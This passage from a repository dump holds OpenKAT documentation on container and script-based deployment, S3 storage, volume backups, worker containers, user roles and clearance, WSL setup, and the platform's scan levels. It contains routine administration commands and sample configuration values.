code-block:: sh\n\n    sudo -u kat update-mula-db\n\nRestart all processes:\n\n.. code-block:: sh\n\n    sudo systemctl restart kat-rocky kat-rocky-worker kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n"
  },
  {
    "path": "docs/source/installation-and-deployment/production-docker-environment.rst",
    "content": "================================\nProduction: Container deployment\n================================\n\nOpenKAT can be deployed using containers. We aim to support both simple docker /\ndocker compose setups and container orchestration systems like Kubernetes and\nNomad.\n\nThere is a docker-compose.release-example.yml in the root directory that can be\nused as an example how to deploy using docker-compose.\n\nContainer images\n================\n\nThe container images can be found here:\n\n- https://github.com/minvws/nl-kat-boefjes/pkgs/container/nl-kat-boefjes\n- https://github.com/minvws/nl-kat-bytes/pkgs/container/nl-kat-bytes\n- https://github.com/minvws/nl-kat-mula/pkgs/container/nl-kat-mula\n- https://github.com/minvws/nl-kat-octopoes/pkgs/container/nl-kat-octopoes\n- https://github.com/minvws/nl-kat-rocky/pkgs/container/nl-kat-rocky\n\nSetup\n=====\n\nTo set up an installation with pre-built containers, you can pull the repository using:\n\n```shell\ngit clone https://github.com/minvws/nl-kat-coordination.git\n```\n\nIf this is your first install, and you do not have an .env file yet, you can create an `.env` file using the following command:\n\n```shell\nmake env\n```\n\nThis will create an `.env` file with the default values. You can edit this file to change the default values.\nMake sure that you also add the keys and values from `.env-defaults` to your `.env` file, and modify them for production use where necessary.\n\nNow you can pull and start the containers using the following command:\n\n```shell\ndocker compose --env-file .env-prod -f docker-compose.release-example.yml up -d\n```\n\nThe container image run the necessary database migration commands in the\nentrypoint if DATABASE_MIGRATION is set. You manually need to run setup commands\nin the rocky container to initialize everything. In the rocky container we first need to import the OOI database seed:\n\n```shell\npython3 manage.py loaddata OOI_database_seed.json\n```\n\nWith docker compose you would run this as:\n\n```shell\ndocker compose --env-file .env-prod -f docker-compose.release-example.yml exec rocky python3 manage.py loaddata OOI_database_seed.json\n```\n\nNext we need to create the superuser, this will prompt for the e-mail address and password:\n\n```shell\npython3 manage.py createsuperuser\n```\n\nWith docker compose you would run this as:\n\n```shell\ndocker compose --env-file .env-prod -f docker-compose.release-example.yml exec rocky python3 manage.py createsuperuser\n```\n\nWe also need to create an organisation, this command will create a development organisation:\n\n```shell\npython3 manage.py setup_dev_account\n```\n\nWith docker compose you would run this as:\n\n```shell\ndocker compose --env-file .env-prod -f docker-compose.release-example.yml exec rocky python3 manage.py setup_dev_account\n```\n\nIPv6 support\n============\n\nIn order to perform scans against IPv6 addresses you need to manually enable IPv6 support in Dockerized setups. Add the following snippet to the file `/etc/docker/daemon.json`. If this file doesn't exist yet, you can create it and save it with the following configuration:\n\n.. code-block:: JSON\n\n {\n    \"experimental\": true,\n    \"ip6tables\": true\n }\n\n\nRestart the Docker daemon for your changes to take effect.\n\n```shell\n$ sudo systemctl restart docker\n```\n\nBy default OpenKAT has an IPv6 subnet configured. This configuration (step 4 and onwards from the official Docker documentation as listed below) can be found in the `docker-compose.yml` file. For more information on IPv6 support within Docker look at the `Docker documentation <https://docs.docker.com/config/daemon/ipv6/>`_.\n\nContainer commands\n==================\n\nWe have three container images that are used to run multiple containers. What the container runs is be specified by overriding the CMD of the container.\n\n| Container image | CMD         | Description                                                                       |\n| --------------- | ----------- | --------------------------------------------------------------------------------- |\n| rocky           | web         | Django web application                                                            |\n| rocky           | worker      | Rocky reports runner                                                              |\n| boefjes         | boefje      | Boefjes runtime                                                                   |\n| boefjes         | normalizer  | Normalizers runtime                                                               |\n| boefjes         | katalogus   | Katalogus API                                                                     |\n| octopoes        | web         | Octopoes API                                                                      |\n| octopoes        | worker-beat | Celery worker running beat. There must only be exactly one container of this type |\n| octopoes        | worker      | Celery worker. Use this if you need to more than one work container for scaling   |\n\n.. _Upgrading_Containers:\n\nUpgrading\n=========\n\nWhen deploying new container images the database migrations are automatically\nrun in the entrypoint. The OOI_database_seed.json file needs to be loaded\nmanually using the following command:\n\n```shell\npython3 manage.py loaddata OOI_database_seed.json\n```\n\nWith docker compose you would run this as:\n\n```shell\ndocker compose --env-file .env-prod -f docker-compose.release-example.yml exec rocky python3 manage.py loaddata OOI_database_seed.json\n```\n"
  },
  {
    "path": "docs/source/installation-and-deployment/s3-buckets.rst",
    "content": "==========\nS3 buckets\n==========\n\nOpenKAT stores most of its data in integrated databases. However, if you\nhave access to S3 storage buckets, you may prefer using those instead.\nThis manual helps you to setup OpenKAT to make use of your S3 buckets.\n\nEnabling S3 buckets for Bytes\n=============================\n\nWhen you want to activate OpenKAT's S3 functionalities you need to have\nan existing S3 service running which is reachable by Bytes. When\nthis service is up and running, you need to add the following three\nenvironment variables to the ``.env`` of the machine that is running\nBytes\n\n-  **AWS_ACCESS_KEY_ID**: The id of the key that can access your S3\n   storage.\n-  **AWS_SECRET_ACCESS_KEY**: The secret of the before mentioned key\n-  **AWS_ENDPOINT_URL**: The URL that describes where the S3 storage is\n   located.\n\nUsing these environment variables OpenKAT can have access to the S3\nservice. OpenKAT requires at least one additional environment variable\nto determine the name of the S3 bucket it should create or use.\n\nS3 bucket names\n===============\n\nOpenKAT offers 2 methods of naming the buckets. The first one is done by\ndirectly adding the environment variable ``S3_BUCKET`` with a name that\ncomplies with the `bucket naming rules of\nAWS <https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html>`__.\nThis will make OpenKAT throw all of Bytes' data into the bucket\nwith this name.\n\nThe second method allows you to set a prefix for bucket names, which\nwill be followed by the organization's name. For example, if you set the\nprefix to ``cyn-``, OpenKAT will create buckets named ``cyn-org`` and\n``cyn-org2`` for organizations ``org`` and ``org2``. This can be done by\nadding 2 more environment variables:\n\n-  **BUCKET_PER_ORG**: This has to be set to ``true`` to tell OpenKAT\n   you want to use a prefix.\n-  **S3_BUCKET_PREFIX**: The name of the prefix you want to use. Make\n   sure that this prefix also follows the `bucket naming rules of\n   AWS <https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html>`__.\n\nAfter either of these methods have been added files generated by\nBytes should be seen inside the S3 buckets.\n\n.. warning::\n   Using this method means that the previously saved files saved by\n   Bytes are not accessible anymore. Keep this in mind when enabling S3\n   buckets.\n\n   And vice versa when disabling S3 buckets.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/scripts.rst",
    "content": "Scripts\n=======\n\nThere are some scripts in the `scripts/installation\n<https://github.com/minvws/nl-kat-coordination/tree/main/scripts/installation>`__ directory\nthat can be used to install and update OpenKAT on Debian and will do all the\nsteps described on the :ref:`debian-install` page.\n\nInstallation\n------------\n\nThe `openkat-install.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-install.sh>`__\nscript installs OpenKAT. Change the permissions on the file to 755:\n\n``chmod 755 openkat-install.sh``\n\nusage:\n``./openkat-install.sh [OpenKAT version] [no_super_user]``\n\nParameters:\n * openKAT version: optional parameter, e.g. 1.10.0. If not supplied latest version is used.\n * no_super_user: optional parameter used for re-installs and won't create superuser account\n\nExample for initial install of KAT version 1.10.0 (including creatng the super user):\n\n``./openkat-install.sh 1.10.0``\n\nand re-installing KAT version 1.10.0rc1 without super user account:\n\n``./openkat-_install.sh 1.10.0rc1 no_super_user``\n\nUpdate\n-------\n\nThe `openkat-update.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-update.sh>`__\nscript updates OpenKAT. Change the permissions on the file to 755:\n\n``chmod 755 openkat-update.sh``\n\nUsage:\n\n``./openkat-update.sh [openKAT version]``\n\nParameters:\n * openKAT version: optional parameter, e.g. 1.10.0. If not supplied latest version is used.\n\nExample to update a previous openKAT installation to version 1.10.0:\n\n``./openkat-update.sh 1.10.0``\n\nStatus and logs\n---------------\n\n`openkat-status.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-status.sh>`__\nshows you the status of all OpenKAT related processes from systemctl.\n\n`openkat-show-journal.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-show-journal.sh>`__\nshows the journalctl -n of all OpenKAT related processes.\n\nStarting, stopping, restarting\n------------------------------\n\n`openkat-start.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-start.sh>`__\nstarts all OpenKAT processes.\n\n`openkat-stop.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-stop.sh>`__\nstops all OpenKAT processes.\n\n`openkat-restart.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-restart.sh>`__\nrestarts all OpenKAT processes.\n\nEmpty queue\n-----------\n\n`openkat-empty-job-queue.sh\n<https://raw.githubusercontent.com/minvws/nl-kat-coordination/main/scripts/installation/openkat-empty-job-queue.sh>`__\nstops your OpenKAT processes, empties the job queue and starts all processes.\n\nBackup\n------\n\nTobiasBDO contributed `two backup and restore scripts <https://github.com/tobiasBDO/backup-openkat/tree/master>`_ included as part of his answer to `the question how to backup XTDB <https://github.com/minvws/nl-kat-coordination/issues/1757>`_ properly.\n\nWe have slightly adjusted the scripts to prevent some potential issues from occurring (globbing and word splitting: shellcheck SC2086) and to clear some things up in the code. These scripts are maintained on a ‘best effort’ basis, thus no guarantees are provided. You are responsible for your own backups, OpenKAT is not responsible nor liable in case your backups are broken.\n\nBelow is a description on how these backup scripts can be used.\n\nHow to backup your volume\n-------------------------\n\nIn your OpenKAT directory go to the ``scripts/backup`` folder:\n\n``$ cd scripts/backup``\n\nMake the script executable:\n\n``$ sudo chmod +x backup-volumes.sh``\n\nRun the backup script with root rights. The -p parameter specifies the folder where your backup files will be stored. If this folder doesn't exist yet, it will automatically be created. Change <backup_path> to a descriptive backup name. The full path for this folder will be: ``/<path_to_OpenKAT_files>/scripts/backup/<backup_path>``.\n\nOptionally, use the -n parameter to specify the docker compose project name. This is used to filter which volumes to backup. If not specified, it defaults to the ``COMPOSE_PROJECT_NAME`` environment variable or the current directory name (matching docker compose behavior).\n\nRun the script with the chosen backup path:\n\n``$ sudo ./backup-volumes.sh -p <backup_path>``\n\nOr with an explicit project name:\n\n``$ sudo ./backup-volumes.sh -p <backup_path> -n <project_name>``\n\nThis directory will contain multiple folders each containing the backup file for that specific docker container as archived files (.tar.gz). If you run the command again it will create new archived files into those subdirectories. Your old backup will remain, as each backup name contains the timestamp of moment of creation. An example of such a file is: ``2024-03-28_173258_nl-kat-coordination_bytes-data.tar.gz``.\n\nRestoring your docker volume\n----------------------------\n\nIn your OpenKAT directory go to the ``scripts/backup`` folder:\n\n``$ cd scripts/backup``\n\nMake the script executable:\n\n``$ sudo chmod +x restore-volumes.sh``\n\nVolumes can be restored by specifying the volume container name and the backup path folder from the previous step. If multiple backup files are available the script will automatically restore from the **newest** snapshot.\n\nRestore a backup volume:\n\n``$ sudo ./restore-volumes.sh -v <volume_name> -p <prefix>``\n\nOptionally if you wish to create a volume with a different name from the backup the script can be invoked in the following manner:\n\n``$ sudo ./restore-volumes.sh -v <volume_name> -p <prefix> -n <new_volume_name>``\n\nExample\n-------\n\nCreate a backup: ::\n\n $ sudo ./backup-volumes.sh -p MyOrganisation\n [sudo] password for user:\n Successfully copied 40.8MB to /tmp/a3b27680-02e4-49cd-a155-e2729d8e7b70\n a3b27680-02e4-49cd-a155-e2729d8e7b70\n Successfully copied 1.54kB to /tmp/1f879ea3-c6ec-49e1-814e-863a2c0eeff1\n 1f879ea3-c6ec-49e1-814e-863a2c0eeff1\n Successfully copied 103MB to /tmp/b8c048f9-d43a-4aeb-b479-ee7f9288f8c8\n b8c048f9-d43a-4aeb-b479-ee7f9288f8c8\n Successfully copied 426MB to /tmp/6bdfdc41-973b-4cf9-a107-ad4f03b5ed3f\n 6bdfdc41-973b-4cf9-a107-ad4f03b5ed3f\n\n\nThe contents of the folder MyOrganisation are: ::\n\n $ ls -lah MyOrganisation/\n total 24K\n drwxr-xr-x 6 root root 4,0K apr  3 14:27 .\n drwxrwxr-x 4 user user 4,0K apr  3 14:27 ..\n drwxr-xr-x 2 root root 4,0K apr  3 14:27 nl-kat-coordination_bytes-data\n drwxr-xr-x 2 root root 4,0K apr  3 14:27 nl-kat-coordination_postgres-data\n drwxr-xr-x 2 root root 4,0K apr  3 14:27 nl-kat-coordination_xtdb-data\n\nRestoring then works as follows: ::\n\n $ ./restore-volumes.sh -v nl-kat-coordination_bytes-data -p MyOrganisation\n creating from snapshot: 2024-04-03_142729_nl-kat-coordination_bytes-data.tar.gz\n Successfully copied 40.8MB to fafd7168-7b17-45e7-a41c-dee9e97c948a:/data\n fafd7168-7b17-45e7-a41c-dee9e97c948a\n"
  },
  {
    "path": "docs/source/installation-and-deployment/separate-boefje-workers.rst",
    "content": "Separate Boefje Workers\n=======================\n\nAt this point, all of the boefjes built by OpenKAT are equipped with two possible commands:\n\n- The regular command of providing an input URL as specified in :doc:`/developer-documentation/boefjes-runner` as a\n  positional argument.\n- Another command where only flags are provided, in which case the container will start a long running process to poll\n  the boefje API for new tasks.\n\nThe second option is new. It allows users to start separate workers for specific boefjes that need to run often or run elsewhere.\nIt also gives a lot more flexibility when scaling horizontally.\n\n.. code:: shell\n\n    $ docker run ghcr.io/minvws/openkat/nmap --help\n    Usage: python -m worker [OPTIONS] [INPUT_URL]\n\n    Options:\n      -p, --plugins TEXT              A list of plugin ids to filter on.\n      -l, --log-level [DEBUG|INFO|WARNING|ERROR]\n                                      Log level\n      --help                          Show this message and exit.\n\nThis long running process will automatically filter the scheduler on tasks for the ``OCI_IMAGE`` specified through its env.\nAdditionally, you could start the process with a filter on specific plugin ids, like so:\n\n.. code:: shell\n\n    $ docker run --network nl-kat-coordination_boefjes ghcr.io/minvws/openkat/nmap -p nmap-udp  # optional filter\n    1970-17-28T15:26:16.333927 [info] Starting runtime\n    1970-17-28T15:26:16.334173 [info] Configured BoefjeAPI [base_url=http://boefje:8000, outgoing_request_timeout=30, images=['ghcr.io/minvws/openkat/nmap:latest'], plugins=['nmap-udp']]\n    1970-17-28T15:26:16.331262 [info] Created worker pool for queue 'boefje'\n    1970-17-28T15:26:16.334481 [info] Started listening for tasks from worker pid=16\n    1970-17-28T15:26:16.334501 [info] Started listening for tasks from worker pid=17\n    HTTP Request: POST http://boefje:8000/api/v0/scheduler/boefje/pop?limit=1 \"HTTP/1.1 200 OK\"\n\nNote that to start a container in \"worker-mode\", it\nneeds access to the network of the boefje API. This may have a\ndifferent name for your installation based on your compose project.\n\nThis provides a potential performance boost when starting and stopping Docker images for each tasks gives a lot of overhead.\nEspecially the generic image is a good target as this holds many fairly simple boefjes.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/users-and-organizations.rst",
    "content": ".. _users-and-organizations:\n\nUsers and organizations\n=======================\n\nOpenKAT has a superuser, several usertypes and organizations.\n\nOrganizations\n-------------\n\nOrganizations own the systems for which KAT is deployed. From KAT, multiple organizations can be monitored simultaneously, each with its own settings. The superuser can add new organizations and each organization has its own users.\n\n.. _users-and-organisations_users:\n\nUsers\n-----\n\nOpenKAT knows four types of users: the client, the red team user, the admin and the superuser. In OpenKAT, permissions utilise a stacked model. This means that a higher permission level includes all lower permissions of the lower levels. The client is a 'read only' type of user, the red teamer is a researcher who can start scans. The admin is an administrative user who can do user management etc, the superuser has the ability to do everything.\n\nRights and functions per user type\n----------------------------------\n\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Action                                                                                              | USER | RED TEAM | ADMIN | SUPERUSER |\n+=====================================================================================================+======+==========+=======+===========+\n| Login                                                                                               | x    | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can start scans on objects with enough clearance                                                    | x    | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can view reports                                                                                    | x    | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can start scans on objects with not enough clearance, but the user has enough clearance             |      | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can edit settings of scan tools                                                                     |      | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can enable/disable scan tools                                                                       |      | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can add objects                                                                                     |      | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can give clearance to objects up to it’s own clearance level                                        |      | x        | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can give clearance to users                                                                         |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can manage organisation members                                                                     |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can create new account(s) in OpenKAT                                                                |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can create new and add, or add existing accounts, to the organisation                               |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can view users of an organisation                                                                   |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can edit users of an organisation                                                                   |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can view organisation details                                                                       |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can edit organisation details and settings                                                          |      |          | x     | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can add organisations                                                                               |      |          |       | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can start scans on objects regardless of clearance                                                  |      |          |       | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n| Can access Django admin                                                                             |      |          |       | x         |\n+-----------------------------------------------------------------------------------------------------+------+----------+-------+-----------+\n\nUser management\n---------------\n\nUsers and organizations can be created in the on boarding flow, in the Web interface or automated. The administrator of the system can create organizations and do user management. The administrator of an organization in turn can create users within the organization. The django interface provides additional capabilities for user management via the command line, for use in an automated deployment and linkage to external user management.\n\nAdding users through a CSV file\n-------------------------------\n\nAdding multiple users at a time to OpenKAT can be done using a CSV file. To make this work SMTP should be configured.\n\nHow does it work?\n*****************\n\nSelect the organization to which the new users will be added. On the members page click the Add member(s) menu and select Upload a CSV. This takes you to the CSV upload page.\n\nDownload the template file, fill in the data of the users you want to add and upload them into the system. The new users will be added to the organization of your choice.\n\nHow should I prepare the CSV file?\n**********************************\n\nCSV files are great when they work. Edit the downloaded template file and use a plain texteditor to make sure your CSV file contains exactly what is needed for its purpose.\n\nEach user will have its on line in the CSV file. The template has five columns: full_name, email, account_type, trusted_clearance_level, acknowledged_clearance_level.\n\n*User details:*\n\nA user is recognized by their full name and email address.\n\n* full_name : the full name of the user\n* email : a working emailadress of the user\n\n*User type:*\n\nThrough the CSV upload you can add the usertypes client, admin and redteam. Read about users and roles in the :ref:`users-and-organisations_users` section.\n\n* account_type : client, admin or redteam\n\n*User clearance:*\n\nClearance levels are related to the scan level of the Boefjes a user is able to dispatch. Read about this in the :ref:`scan-levels-clearance-indemnities` section.\n\nThe trusted_clearance_level is the level a user receives from the organization. It is the maximum level available for this user, based on the decision of the admin or superuser. The acknowledged_clearance_level is the level accepted by the user. Both can be added in the CSV file. The accepted level can be changed by the user.\n\n* trusted_clearance_level : between -1 and 4\n* accepted_clearance_level : between -1 and 4\n\nThe ability to add the accepted clearance level allows you to copy users from one organization to another, which might be needed on larger installs. The user should have accepted this level at some point, in- or outside OpenKAT.\n\n*Warnings*\n\nIf the CSV file contains data that cannot be parsed OpenKAT will give a warning with the data concerned.\n\nUser notification\n*****************\n\nAfter the CSV file has been uploaded the users receive a welcome email on their account. The link in this email allows them to create a password for their account. If SMTP is not configured on your install, this will not work.\n\n::\n\n Content-Type: text/plain; charset=\"utf-8\"\n MIME-Version: 1.0\n Content-Transfer-Encoding: 7bit\n Subject: Verify OpenKAT account on localhost:8000\n From:\n To: a@bbbb.dl\n Date: Thu, 20 Jul 2023 13:34:32 -0000\n Message-ID: <168986007241.76.14464090403674779824@af745d470510>\n\n Welcome to OpenKAT. You're receiving this email because you have been added to organization \"test\" at localhost:8000.\n Please go to the following page and choose a new password:\n\n  http://localhost:8000/en/reset/MTY/brn1pk-914a9d550dbb2a5b0269c85f6b667e21/\n\n Sincerely,\n The OpenKAT team\n\n\nAPI token authentication\n------------------------\n\nAuthentication tokens can be created in the admin interface (/admin). The token is created for an user account and will have the same permissions as the user. After creating a token it will display the newly created token once. You need to copy the token immediately, because the token are stored hashed in the database and won't be visible anymore.\n\nThe token can be used by adding the Authorization header with the token to the request:\n\n::\n\n    Authorization: Token f2505ed4d2a51624fe1691c977789ce00dc9886d48271c6c91a25e7dd258c932\n\nFor example this will use the token to get the list of organizations:\n\n.. code-block:: sh\n\n    curl -H 'Authorization: Token f2505ed4d2a51624fe1691c977789ce00dc9886d48271c6c91a25e7dd258c932' http://127.0.0.1:8000/api/v1/organization/\n"
  },
  {
    "path": "docs/source/installation-and-deployment/windows-install.rst",
    "content": "================================\nDevelopment: make kat on Windows\n================================\n\nThis manual helps you to install and run OpenKAT on your Windows with the use of WSL2.\n\nFollow these steps\n===================\n\nThe installation is easy if you just follow these steps.\n\nStep 1: Install WSL\n--------------------\n\nWSL (Windows Subsystem for Linux) allows you to run Linux commands from your Windows operating system. This example uses Debian, but this could also be another Linux distribution, such as Ubuntu.\n\n- Open PowerShell as administrator\n- Run:\n\n.. code-block:: sh\n\n    $ wsl --install debian\n\n- (Or run the following command and then search in the Microsoft Store for 'Debian' and install it.)\n\n.. code-block:: sh\n\n    $ wsl --install\n\nStep 2: Preparation\n--------------------\n\nNow it's time to prepare your system.\n\n- Make sure Docker is installed, updated and running\n- Check the settings of Docker\n  - Settings -> General: \"Enable the WSL 2 based engine\" should be checked.\n  - Settings -> Resources -> WSL Integration: Make sure your subsystem is checked.\n  - Settings -> Docker Engine: Increase the defaultKeepStorage (to e.g. 50GB).\n  - If you have changed anything, click \"Apply & Restart\".\n- Make sure nothing is running on port 5432\n\nStep 3: Open your Linux subsystem\n----------------------------------\n\n- In PowerShell, run:\n\n.. code-block:: sh\n\n    $ debian\n\n- Leave this screen open, you'll need it in the next steps.\n\nStep 4: Clone nl-kat-coordination\n----------------------------------\n\nClone the repository of OpenKAT into your WSL. It is important that you do it in WSL and not in Windows!\n\n- In your Debian PowerShell, run:\n\n.. code-block:: sh\n\n    $ sudo apt install git\n    $ git clone https://github.com/minvws/nl-kat-coordination.git\n    $ cd nl-kat-coordination\n\nStep 5: Open the code in Visual Studio Code\n--------------------------------------------\n\nTo do this, VS Code must already be installed on your Windows and you must have the WSL plugin installed in VS Code.\n\n- In your Debian PowerShell, run:\n\n.. code-block:: sh\n\n    $ code .\n\nDoing this from the nl-kat-coordination folder on your WSL will open VS Code.\n\nStep 6: Complete the .env file\n-------------------------------\n\nIf you go to the ``.env`` file in the code, you should see that the passwords don't have a value yet. To fix this, run the following command.\n\n- In your Debian PowerShell, run:\n\n.. code-block:: sh\n\n    $ make env\n\nThis will complete the .env file.\n\nStep 7: Start OpenKAT\n----------------------\n\nNow you can start OpenKat.\n- In your Debian PowerShell, run:\n\n.. code-block:: sh\n\n    $ make kat\n\n- Go to `http://localhost:8000` and follow the onboarding.\n- Once you are through the onboarding, check that all of OpenKAT's services are running properly using the \"Health\" link at the right side of the footer (http://localhost:8000/nl/{organization_id}/health/v1).\n\nTroubleshooting\n================\n\nIf you encounter any problems, please check :doc:`/installation-and-deployment/index` for more information.\n"
  },
  {
    "path": "docs/source/user-manual/basic-concepts/index.rst",
    "content": "Basic concepts\n==============\n\nThis page explains the basic concepts of OpenKAT (in simple terms).\nFor more detailed information, check the :doc:`../../developer-documentation/basic-principles/index` in the developer documentation.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   objects-and-recursion\n   scan-levels-and-indemnification\n"
  },
  {
    "path": "docs/source/user-manual/basic-concepts/objects-and-recursion.rst",
    "content": "Objects and recursion\n=====================\n\nThe information collected by OpenKAT is stored as objects.\nObjects can be anything, like DNS records, hostnames, URLs, IP addresses, software, software versions, ports, etc.\n\n\nProperties\n----------\nObjects can be viewed via the 'Objects' page in OpenKAT's main menu. Here, all objects including their type and scan level are shown.\nObjects can be added, scanned, filtered and exported.\n\nNew objects can be created using the 'Add' option. This can be done individually or per CSV.\nThe specification of the CSV is included on the upload page.\n\n\nRecursion\n---------\nThese objects are part of a data model. The data model is the logical connection between all objects and provides the basis for analysis and reporting.\nOpenKAT includes a data model suitable for information security, but it can be expanded or adapted for other applications.\n\nAdding an initial object with an appropriate safeguard puts OpenKAT to work. This can be done during onboarding,\nbut objects can also be added individually or as CSV files. Objects are also referred to as 'Objects of Interest' (OOI).\nThe object itself contains the actual data: an object type describes the object and its logical relationships with other object types.\n\n**Example:**\n  If there is a hostname, OpenKAT also expects an IP address and possible open ports based on the data model.\n  Depending on the given clearance level, this is then scanned, which in turn provides more information, which in turn may prompt new scans.\n  How far OpenKAT goes with its search depends on the clearance levels.\n\n\nObject clearance type\n---------------------\nEach object has a clearance type. The clearance type tells how the object was added to the Objects list. The following clearance types are available:\n\n- Declared: objects that were added by the user.\n- Inherited: objects identified through propagation and the parsing of bits and normalizers. This means there is a relation to other object(s).\n- Empty: objects that do not have a relation to other objects.\n\nThe objects below show different clearance types for various objects. The hostname `mispo.es` was manually added and thus is `declared`.\nThe DNS zone is `inherited` based on the DNS zone plugin.\n\n.. image:: img/objects-clearance-types.png\n  :alt: different object clearance types\n"
  },
  {
    "path": "docs/source/user-manual/basic-concepts/scan-levels-and-indemnification.rst",
    "content": ".. _scan-levels-clearance-indemnities:\n\nScan levels, clearance & indemnities\n====================================\n\nPlugins (Boefjes) can collect information with varying intensity. OpenKAT has a system of clearance levels to control permission to perform scans and prevent damage to the systems under test.\n\n* Plugins have a scan level\n* Objects have clearance\n* Users can receive and accept the ability to give clearance to an object and to start a scan\n\nFor each object, the 'clearance level' menu indicates how deeply scanning is allowed. Here the user agrees to the risks of the scans and gives permission to store the information gathered on these systems.\n\nThe levels used range from level 0 to level 4, from 'do not scan' to 'very intrusive'. Scanning levels are distributed in the data model, either by inheritance or by user statements. The different levels are qualitative in nature. L1 'do not touch' is obvious, but the difference between L2 'normal user' and L3 'detectable scanning' is at the discretion of the developer and administrator. The use of NMAP, for example, falls in between and depends heavily on the arguments the tool brings.\n\n.. list-table:: Scan levels\n   :class: table\n   :widths: 25 50\n   :header-rows: 1\n\n   * - Level\n     - Description\n   * - L0\n     - do nothing: do not touch and don't gather information about this object\n   * - L1\n     - retrieve information from public sources, but don't touch the object itself\n   * - L2\n     - touch at normal user level\n   * - L3\n     - detectable scanning\n   * - L4\n     - intensive scanning\n\n\nInheritance\n-----------\nObjects are linked to other objects in the data model.\nYou can choose to declare a clearance level to an object or to let it inherit the clearance level from connected objects.\nUnderlying objects will then receive the same clearance level, parent objects a lower level.\nFor example, a hostname has an IP address for which the same clearance level applies, but it also has a DNS server that may be outside the organization's domain and receives a lower level.\n\nMore information about the different clearance types for objects can be found here: :doc:`../basic-concepts/objects-and-recursion`.\n\nIndemification by user\n----------------------\nThe user's statement counts as an indemnification for scanning a particular object.\nThis obtains permission to scan and store the information.\nThe statement is given at the start of a new scan or specifically for certain objects.\n\nExtended profiles\n-----------------\n\nL0: Do not scan\n***************\nThe user can explicitly indicate that certain systems should not be scanned. For example, because he is not the owner of these.\n\nL1: Do not touch\n****************\nOpenSource and passive data collection. For this profile, objects are viewed through various freely available data and sources via the Internet.\nThese can be sources that do not have explicit permission (e.g. LinkedIn, DNS, leaked password databases).\nThe goal here is to detect public information that could be a risk to the client: information that could be misused by an attacker in a targeted attack.\n\nExamples of sources/tools used:\n\n- Shodan (via API)\n- HaveIbeenPnwed\n- DNS\n\nL2: Touching at the normal user level\n*************************************\nTargeted scans, limited intrusive. Scan will be dosed and skip known sensitive scans.\nThe scanned target usually continues to function without problems.\n\nExample of scanning tools useful for this purpose:\n\n- Nmap\n- Nikto\n- Burp passive scanner\n\nL3: Detectable scan\n*******************\nThis scan will be more intrusive: connect to services to find out versions, try to log in with commonly used (default) login credentials,\nautomated testing of found vulnerabilities whether they are vulnerable, more intensive guessing of urls and more intensive crawling of web pages.\n\nA greater number of scans will be performed, resulting in a spike in data traffic. The infrastructure may not be designed for this.\n\nExample of useful scanning tools and methods:\n\n- Nessus, Nexpose, Acunetix\n- Burp Intruder, active scanner\n\nL4: Intensive scan\n******************\nThe premise of the test profile is to verify whether an attacker can exploit vulnerabilities to give himself\nmore extensive access to the tested environment. Thus, known exploit code is applied in this level.\n"
  },
  {
    "path": "docs/source/user-manual/getting-started/generate-report.rst",
    "content": "Generate a report\n=================\n\nOpenKAT can generate a report to summarize all findings.\nIn this section you will learn how to create a report, step by step.\n\nSelect the kind of report\n-------------------------\nTo create a new report, go the Reports page. Press the 'Generate report' button and click on the kind of report you want to create.\n\nThere are three different kinds of reports:\n\n- **Separate report:** selecting one or more reports will show the contents of each report below each other. This kinds of report might be turned off by default by your administrator.\n- **Aggregate report:** selecting one or more reports will show aggregated data for each selected report. This means that some results are aggregated to provide a general overview of the current compliance status of the scanned objects.\n- **Multi report:** allows you to compare one organisation with another based on the organisation tags. This is only possible for aggregate reports. A multi report is very similar to an aggregate report, but shows data across multiple organisations.\n\nAll kinds of reports can be exported as PDF. The Aggregate Report can also be exported as JSON.\n\n.. image:: img/generate-report-01.png\n  :alt: Reports page with Generate report button\n\n\nObject selection\n----------------\nYou can select objects manually or choose a live set. A live set is a set of objects based on the applied filters.\nAny object that matches this applied filter (now or in the future) will be used as input for the 